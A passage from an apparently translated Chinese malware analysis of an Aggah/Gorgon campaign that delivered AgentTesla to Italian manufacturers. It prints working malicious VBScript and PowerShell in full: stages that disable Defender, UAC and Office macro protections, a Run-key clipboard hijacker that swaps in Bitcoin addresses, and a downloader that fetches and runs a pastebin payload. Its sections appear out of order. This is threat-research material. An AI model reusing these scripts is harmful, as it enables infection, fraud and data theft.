 outputMessage("Set-MpPreference -DisableRealtimeMonitoring $true")outputMessage("Set-MpPreference -DisableBehaviorMonitoring $true")outputMessage("Set-MpPreference -DisableBlockAtFirstSeen $true")outputMessage("Set-MpPreference -DisableIOAVProtection $true")outputMessage("Set-MpPreference -DisableScriptScanning $true")outputMessage("Set-MpPreference -SubmitSamplesConsent 2")outputMessage("Set-MpPreference -MAPSReporting 0")outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")outputMessage("Set-MpPreference -LowThreatDefaultAction 6")outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")
 
 Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell " + args, null, objConfig, intProcessID)
 
 End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell [email protected](36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX", null, objConfig, intProcessID)
 CreateObject("WScript.Shell").RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA","0", "REG_DWORD"
 
 Set wso = CreateObject("WScript.Shell")wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE", 1, "REG_DWORD"

代码段5

从代码中可以看到,powershell命令隐藏在名为$cici的变量中,该变量立即从十进制转换为相对ascii值。

18.png

代码片段6

在代码片段6中,研究人员找到了一个Powershell代码,该代码指示插入Microsoft Windows Anti-Malware排除项中的以下过程:msbuild,calc,powershell,wscript,mshta和cmd。

此复杂链中的另一个脚本是YL0je2fU:


< script language="VBScript" >
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).mogale)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\mogale", "[email protected](102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe ((gp HKCU:\Software).mogale)|IEX", null, objConfig, intProcessID)
self.close
< /script >

代码段7

即使在这种情况下,也将使用相同的变量名“$ cici”嵌入其中的powershell脚本,但其主体如下:

20.png

代码段8

该脚本会在受害设备的剪贴板中进行持续检查,查找比特币地址,其中一些地址也经过硬编码。最后一个阶段是UyFaSxgj:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/eyGv9x4B'));$_Xpin=$_Xpin.replace('.','*!(@*#(#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段9

该组件通过powershell脚本生成了一个来自pastebin eyGv9x4B的二进制文件,但是不幸的是,在分析时,该粘贴已被删除。

这个示例可以向研究人员暗示由攻击者构建的恶意基础架构的强大功能,其中组件可以随时被删除或替换为另一个组件。

有效载荷

如前所述,最终的有效载荷是AgentTesla,它仍然是目前行的恶意软件之一,会窃取有关受害者的大量敏感信息。在过去的几年中,研究人员不断研究这种软件的演变,并列举了该攻击组织窃取的所有敏感数据。

然而,同样在这种情况下,研究人员获得了最终的有效载荷和SMTP客户端的配置,该客户端将发送被盗取的信息:

22.png

AgentTesla SMTP客户端的配置

攻击者已临时创建域“atn-com.pw”,以管理感染活动。通过研究域的正常运行时间,研究人员能够重构攻击攻击者的感染活动。

23.png

有关C2正常运行时间统计信息

如上所示,该域名已在1月的最后几天注册,并且自四月中旬以来一直处于活动状态

总结

毫无疑问,隐藏在这场攻击背后的攻击者在近几个月持续对意大利的生产运营的许多组织持续发起了网络攻击。这些年来开发和测试的复杂的感染链为该攻击组织提供了绕过许多传统安全防御层所需的破坏力。

在此期间,攻击者的传播基础设施被用来安装不同种类的恶意软件:大多数时候,是远程访问木马以及信息和凭据窃取软件。这类恶意软件能够启用网络间谍活动和知识产权盗窃活动,从而有可能在黑市上转售这些被盗的信息。

攻击指标

微信截图_20200614184845.png

5月份,有网络安全公司发现了有一种攻击专门针对在全球范围内从事制造业的意大利公司,其中一些公司还属于汽车生产制造商。

该活动背后的团队与研究人员在Roma225、Hagga、Mana、YAKKA中所描述的恶意操作中发现的团队相同。该攻击团队于2018年首次被Unit42(网络安全提供商Palo Alto Networks的攻击情报部门)发现,当时在美国、欧洲和亚洲的科技、零售、制造和地方政府产业的大规模恶意攻击中,该团队首次出现。研究人员还发现该团队与Gorgon APT相关,但没有明确的证据证实这一点。

Gorgon APT(高级持久攻击)是一个老牌且高危的在线攻击,由Unit 42研究人员于2018年2月首次发现。自2018年2月首次被发现以来,Gorgon APT一直在策划对政府组织(美国、英国、俄罗斯、西班牙等)的攻击以及对全球企业目标的攻击。当进行网络犯罪和针对国家的攻击时,Gorgon组织经常与他人共享其攻击基础设施,这使APT组织更易于跟踪这些操作。

在Gorgon APT的基础设施中,研究人员能够识别出几种犯罪软件样本,包括特洛伊木马、NjRat等远程访问工具(RAT)和LokiBot等信息窃取工具。这些软件都托管在Gorgon组织的命令和控制(C2)域上。有趣的是,Gorgon APT不仅使用了传统的C2策略,它还使用了各种URL缩短服务来下载其有效载荷。这使得其犯罪活动更加广泛,难以追踪、识别和根除。

但是,为了跟踪分析,研究人员综合了所有受监控的攻击事件及其TTP和最终有效载荷:

1.png

从表中可以看出,Aggah攻击虽然随着时间的变化而发生了改变,但仍保持一些共同点。所有活动的初始阶段都使用了带有宏的office文档(PowerPoint或Excel),其中一些使用了注入方法。

所有攻击操作均使用“签名二进制代理执行”技术来滥用Mshta(一种合法的Microsoft工具),并且至少使用可执行文件进行感染。此外,在某些攻击活动中已经报告了使用PowerShell阶段或滥用合法Web服务的情况。

此外,CMSTP绕过攻击是仅在2020年才出现的一项新功能,因为被发现可利用此漏洞的首批恶意软件可追溯到2019年中,这使研究者误认为攻击者喜欢使用那些时髦的,处于比较前沿的攻击技术。关于持久性机制,研究人员注意到攻击者使用了最初计划的任务,但是在最新感染中使用了注册表运行键。所有攻击都至少使用一种混淆方法,这使得分析更加困难。

